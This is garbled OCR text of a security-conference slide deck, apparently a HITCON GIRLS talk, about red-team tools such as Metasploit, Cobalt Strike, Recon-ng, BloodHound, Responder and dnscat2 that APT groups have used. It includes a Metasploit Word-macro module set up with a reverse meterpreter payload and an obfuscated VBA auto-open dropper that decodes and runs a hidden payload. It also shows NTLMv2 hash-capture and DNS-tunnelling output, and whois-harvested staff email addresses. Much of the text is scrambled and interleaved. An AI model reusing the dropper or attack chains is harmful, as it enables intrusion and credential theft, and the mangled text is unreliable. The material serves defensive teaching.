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metasploit

ESET: The Russian Turla cyber spies change tactics and begin to incorporate

The \V,V/e) rld’s most used open-source tools. This is confirmed by the Mosquito campaign against
. . embassies in Eastern Europe
penetration testing

f ra m eWO r k has been discovere by cyber security experts of ESET. The malicioius hackers, starting March 2018, have
leveraged the open source exploitation framework Metasploit before dropping the custom Mosquito

backdoor (their campaign has the same name). In the past they used onw tools as Skipper. The targets
|<now|edge is power, especially when it’s shared. A are still embassies and consulates in Eastern Europe, but the TTP have changed. “The Turla's campaign
still relies on a fake Flash installer but, instead of directly dropping the two malicious DLLs, it executes a
gellEElelel = Nu[ela N oIARWVISIS a R d g[Sl oIl g RTeIVI =Rl eI s I IRUIAN .- :-<ploit shellcode and drops, or downloads from Google Drive, a legitimate Flash installer.” ESET wrote

The russian cyber spies Turla (alias Uroboros) change tactics and start incorporating open-source tools. It

on a post. “Then, the shellcode downloads a Meterpreter, which is a typical Metasploit payload, allowing
the attacker to control the compromised machine. Finally, the machine may receive the typical Mosquito
tHanjUStVErifyVulnerabilities) manage security as-  [FECE2

and Rapid7, Metasploit helps security teams do more

sessments, and improve security awareness; it em-

powers and arms defenders to always stay one step

(or two) ahead of the game.

N
B,

. https://www.difesaesicurezza.com/en/defence-and-security/the-russian-turla-cyber-spies-change-tactics-and-move-to-open-source/
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What is Cobalt Strike?
Cobalt Strike is software for Adversary Simulations and Red Team Operations.

|VADVANCEDITAREAT

| What are Adversary Simulations and Red Team Operations?

Adversary Simulations and Red Team Operations are security assessments that r
techniques of an advanced adversary in a network. While penetration tests focus
¥ vulnerabilities and misconfigurations, these assessments benefit security operatio

Cobalt Strikes Again: Spam Runs Use Macros and CVE-
2017-8759 Exploit Against Russian Banks

Posted on: November 20, 2017 at 4:00 am Posted in: Exploits, Malware, Spam Author: Trend Micro

0 O00OO

by Ronnie Giagone, Lenart Bermejo, and Fyodor Yarochkin

The waves of backdoor-laden spam emails we observed during
June and July that targeted Russian-speaking businesses were
part of bigger campaigns. The culprit appears to be the Cobalt

hacking group, based on the techniques used. In their recent
campaigns, Cobalt used two different infection chains, with /A\
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Recon-Ng

recon/companies-contacts/bing linkedin_cache
recon/companies-contacts/jigsaw/point_usage
recon/companies-contacts/jigsaw/purchase contact
recon/companies-contacts/jigsaw/search contacts
recon/companies-multi/github miner
recon/companies-multi/whois miner
recon/contacts-contacts/mailtester
recon/contacts-contacts/mangle
recon/contacts-contacts/unmangle
recon/contacts-credentials/hibp breach
recon/contacts-credentials/hibp paste
recon/contacts-domains/migrate contacts
Fecon/contacts prorites/ryrreontact
recon/credentials-credentials/adobe
recon/credentials-credentials/bozocrack
recon/credentials-credentials/hashes org
recon/domains-contacts/metacrawler
recon/domains-contacts/pgp_search
recon/domains-contacts/whois pocs
recon/domains-credentials/pwnedlist/account creds
recon/domains-credentials/pwnedlist/api usage
recon/domains-credentials/pwnedlist/domain creds
recon/domains-credentials/pwnedlist/domain_ispwned
recon/domains-credentials/pwnedlist/leak lookup
recon/domains-credentials/pwnedlist/leaks dump
recon/domains-domains/brute suffix
recon/domains-hosts/bing domain_api
recon/domains-hosts/bing domain_web
recon/domains-hosts/brute hosts
recon/domains-hosts/builtwith
recon/domains-hosts/certificate transparency
recon/domains-hosts/google site web
recon/domains-hosts/hackertarget

UZEE B 1Z email
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Recon-Ng

[recon-ng] [default] > add domains
domain (TEXT): google.com
[recon-ng][default] > show domains

| google.com | user defined

network-abuse@google.com

1 rows returned s .
[recon-ng] [default] JNSCINAoISIpocS ABUSE2410-ARIN postini-arin-abuse@google.com
[recon-ng] [default] [whois pocs]_> run
ABUSE2410-ARIN postini-arin-contact@google.com

Admin arin-contact@google.com

URL: http://whois.arin.net/rest/pocs;domain=google.com

URL: http://whois.arin.net/rest/poc/ABUSE5250-ARIN

[contact] <blank> Abuse (network-abuse@google.com) - Whois contact
URL: http://whois.arin.net/rest/poc/ABUSE2410-ARIN AXELROD axelrod@google.com
[contact] <blank> ABUSE2410-ARIN (postini-arin-abuse@google.com) - Whois c(

URL: http://whois.arin.net/rest/poc/NETW080-ARIN Barkan ari@google.com
[contact] <blank> ABUSE2410-ARIN (postini-arin-contact@google.com) - Whois

URL: http://whois.arin.net/rest/poc/ADMIN3130-ARIN Bennett raybennett@google.com
[contact] <blank> Admin (arin-contact@google.com) - Whois contact
URL: http://whois.arin.net/rest/poc/AKRAM-ARIN

[contact] muhammad Akram (haseen.you@google.com) - Whois contact
URL: http://whois.arin.net/rest/poc/MAX1-ARIN X X
[contact] Michael AXELROD (axelrod@google.com) - Whois contact Chittimaneni kk@google. com

URL: http://whois.arin.net/rest/poc/ABA104-ARIN

[contact] Ari Barkan (ari@google.com) - Whois contact coffee-maker numbers@google.com

URL: http://whois.arin.net/rest/poc/ABA105-ARIN

[contact] Ari Barkan (ari@google.com) - Whois contact GC Abuse google-cloud-compliance@google. com
URL: http://whois.arin.net/rest/poc/BENNE237-ARIN

[contact] Ray Bennett (raybennett@google.com) - Whois contact
URL: http://whois.arin.net/rest/poc/BRUMB4-ARIN

Akram haseen.you@google.com

Brumbloe rufishen@google.com

Google Apps apps-arin-contact@google.com
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msf > use exploit/multi/fileformat/office word macro 2
msf exploit( ) > show options

Module options (exploit/multi/fileformat/office word macro):

I SECURITY WARNING Macros have been disabled, Enable Content
Name Current Setting Required Description

CUSTOMTEMPLATE A docx file that w
template to build the exploit

FILENAME msT.docm The 0ffice documen
cm)

) . Attention! This document was created by a newer version of Microsoft Office
Payload options (windows/meterpreter/reverse tcp): y

Macros must be enabled to display the contents of the document.

Name

Current Setting Required Description

EXITFUNC thread
process, none)
LHOST 127.0.0.1 i dress
LPORT 4444

34 engines detected this file

SHA-25 I - 532202 1b17bc 1be724f3560cb3

File name mportant Motices.docm
File size 83.53 KB
( "34 / 59" \ Lastanalysis  2019-03-09 01:55:03 UTC

r




macro_pack #1785

tF'.:Lblic Declare PtrSafe Function system Lib "libc.dylib" (ByVal command} }I'I'I-El[:l"'l] pack BXE _f tEEt uha -0 _G tEEt Dhi uha
- - - ! =

Sub Autolpen{)
On Error Resume Next
Dim found wvalue As String

Const wcgukcdwct
const jefdwuyhog
const wawmgfakkg = 0
Pub1ic Declare PtrSafe Function bsquujnubgcrowdwcph Lib "1ibc.dylib™ Alias "system”
al yhr]mvkwktu30gsrw1 As string) As Long
Autoopen()
on Error Resume Next

2
1

For Each prop In ActiveDocument.BuiltInDocumentProperties
If prop.Name = "Comments" Then
found waluwe = Mid(prop.Value, 56

orig_wval = Base&4Decode (found value)
#If Mac Then

ExecuteFor05X (orig_wal)
#Else

ExecuteForWindows (orig_wal)
#End If

Dim wqufcnwox As string

For Each prop In ActiveDocument.BuiltInDocumentProperties

If prop.Name = ycbdixsvjuta("436f6ded656e74") & ycbdixsvjuta("73") Then
wuvgfcnwox = Mid(prop.value, 56)

orig_val = grwnjvyzpvpdadeggvo(wuvgfcnwox)

#If Mac Then

mufkibskodolcugim (orig_val)

Exit For #E1se
End If gcvvngtoo (orig_val)
Hext #Eﬂd Iif
End Sub Exit For

End If

Next

End Sub

sub gecwvngtoo(code)
on Error_Resume Next

Sub ExecuteForWindows (code)
Cn Error Resume Next
Set fso = CreateCbject ("Scripting.FileSystemCbject™)
tmp_folder = fso.GetS5pecialFolder (2)
tmp_name = tmp_folder + "\
Set £ = fso.createTextFile
f.Write (code)
f.Close
CreateCbject ("WScript.Shel
End Sub

Avcbd1xsv1uta 6553797374656d4f626a656374"1)

€. GetTempName() +

15 engines detected this file
I - b2 coc7cebbbBe7baf6a42839

mportant Notices.docm
7257 KB
2019-03-09 02:17:01 UTC

Sulb ExecuteFor(SX(code)
system ("echo """ & code &

cE 3 s
End Sub Last analysis

Set wdyilzdgjproc = Createobject(ycbdixsvjuta(”536372697074696e672e46696C") &

ksvjuta("656cec”)) . Run
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Apache CVE-2018-11776 [ 2
office CVE-2017-8759 [ 2
Samba CVE-2017-7494 [ 2

office cve-2018-0802 [N 3

Apache cVE-2017-5638 [ ¢
office cve-2017-0199 [N »
office cve-2017-8570 [ -
office CVE-2017-11832 [ -
WinRAR cVE-2018-20250 [ 1/
Weblogic CVE-2017-10271 | />
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BloodHound

v MABZER Windows Active
Directory IRiE LRI

v IRH O RER BB
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El =RV EF Bl %

Pre-Built Analytics Queries

Find all Domain Admins

Find Shortest Paths to Domain Admins

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts

Shortest Paths to Unconstrained Delegation Systems -

PENTEST.LAB
Trusted®y

EXTERNAL.LAB



IR IR

PTRACY@INTERNAL.LOCAL

@ ForceChangePassword . ForonhanEPassword

21088 . https://www.youtube.com/watch?v=BAEfEANWij0



Responder

v 1% LLMNR - NBT-NS &2 MDNS &% 1T Poisoning attack
v WEEA

APT28 Uses Novel Techniques to Move Laterally and Potentially Target
Travelers

APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to
spread laterally through networks and likely target travelers. Once inside the network of a hospitality
company, APT28 sought out machines that controlled both guest and internal Wi-Fi networks. No guest
credentials were observed being stolen at the compromised hotels; however, in a separate incident that
occurred in Fall 2016, APT28 gained initial access to a victim’s network via credentials likely stolen from a
hotel Wi-Fi network.

288 : https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
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EAZ \\fileshre
DNS Server

#Z \\fileshre ? E7 2 \\fileshre

[LLMNR] Poisoned answer sent to 10.10.0.100 for name file

] NTLMv2-SSP Client
NTLMv2-SSP Username

\\fileshare 5] NTLMv2-55
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v'dnscat?

DNS 148 standard query Ox160c TXT 4cb300651dd6f8ea?0faﬁ30000Sdbﬁabbzedﬁb?_xilﬁexi?539848b01233?e50.dns.ha-
DNS 148 standard query 0xd370 TXT 4cb300651dd6f8ea70fa6300005db6abb2edEb? 416e47539848b012337e50. dns. ha
DNS 195 standard query response 0xd370 TXT

DNS 195 standard query response 0x160c TXT

DNS 95 standard query 0x6951 TXT 4fb801651dd64030bdeefb0001c643cdOf. dns.

DNS 95 standard query 0x5c65 TXT 4fbB801651dd64030bdeefb0001c643cd0f. dns.

DNS 142 standard query response 0x5c63 TXT

DNS 142 standard query response 0x6951 TXT

DNS 95 standard query 0x39db TXT 1c5101651d37c200540cd100028eb86ddc. dns.

DNS 95 standard query Oxe5cd TXT 1c5101651d37c200540cd100028eb86ddc. dns.

DNS 142 standard query response OxeS5cd TXT

DNS 142 standard query response 0x39db TXT

DNS 95 standard query 0x6869 TXT 08cd01651d309a6ea891860003344ec8e?. dns.

DNS 95 standard query Oxf480 TXT 08cd01651d309a6ea891860003344ec8e?. dns.

DNS 142 standard query response Oxf480 TXT

DNS 142 standard query response 0Ox6B69 TXT

DNS 95 standard query 0x6466 CNAME 3a5401651dfdf73a4dbcl500043d97d0bl. dns. h
DNS 95 standard query Ox4444 CNAME 3a5401651dfdf73a4dbcl500043d97d0bl. dns. h
DNS 158 standard query response Ox4444 CNAME e76101651d9eb5f7042325Ffff26d0cBee
DNS 144 standard query response O0x6466 CNAME e76101651d9eb5f7042325Ffff26d0cBee
DNS 95 standard query 0x6492 CNAME 32dd01651d55e7399ca8b600059700a381.dns. ha
DNS 95 standard query Oxa7db CNAME 32dd01651d55e7399ca8b600059700a381.dns. ha
DNS 158 standard query response Oxa7db CNAME 5cc701651dcal7ee0081daffff26d0c8ee
DNS 144 standard query response 0x6492 CNAME 5cc701651ldcal?ee008ldaffff26d0cBee
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ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP

92
28
92
28
92
28
92
28
92
28
92
28
92
28
92
28

Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo

(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
(ping)

request
reply
request
reply
request
reply
request
reply
request
reply
request
reply
request
reply
request
reply
request
reply
request
reply
request
reply

id=0x0001,
id=0x0001,
id=0x0001,
i d=0x0001,
id=0x0001,
id=0x0001,
id=0x0001,
id=0x0001,
id=0x0001,
id=0x0001,
i d=0x0001,
id=0x0001,
id=0x0001,
id=0x0001,
id=0x0001,
id=0x0001,
id=0x0001,
i d=0x0001,
id=0x0001,
id=0x0001,
id=0x0001,
id=0x0001,

seq=231/59136,
seq=231/59136,
seq=232/59392,
seq=232/59392,
seq=233/59648,
seq=233/59648,
seq=234/59904,
seq=234/59904,
seq=235/60160,
5eq=235/60160,
seq=236/60416,
seq=236/60416,
seq=237/60672,
seq=237/60672,
seq=238/60928,
seq=238/60928,
seq=239/61184,
seq=239/61184,
seq=240/61440,
seq=240/61440,
seq=241/61696,
seg=241,/61696,

tt1=255
ttl1=255
tt1=255
tt1=255
tt1=255

Tr1=25F
tt1=25 ires

3233

tt]=25
ttl=251

tt1=25%00
tt1=255019
tt1=251030
tr1=258040
tt1=25§
tt1=25§
ttl1=255
tt1=255
tt1=255
tt1=255
Tt1=255
tt1=255
tt1=255

2e 30

.. U DP
.10.0.13 4:13]
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APT37 has created a lot of custom malware

At the technical level, the group is no slouch either. APT37 has been credited with creating multiple
malware families in the past six years. In fact, it was APT37 behind the recent Adobe Flash Player zero-
day Bleeping Computer wrote about at the start of the month.

The FireEye report paints a pretty good picture of how the group often relied on Flash vulnerabilities to
infect targets, and how they varied their operations for different targets.

APT37 created several malware families across the years, ranging from backdoors to data wipers. They
also used an ever-shifting infrastructure, relying on AOL Instant Messenger, pCloud, and Dropbox for
their command-and-control servers, and on spear-phishing, hacked websites, and torrent files for
spreading their malicious payloads.

288 : https://www.bleepingcomputer.com/news/security/a-new-north-korean-hacker-group-is-making-a-name-for-itself/
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hgservice@hitcon.org

i3 http://girls.hitcon.org

n https://www.facebook.com/HITCONGIRLS/
https://hitcon-girls.blogspot.com/



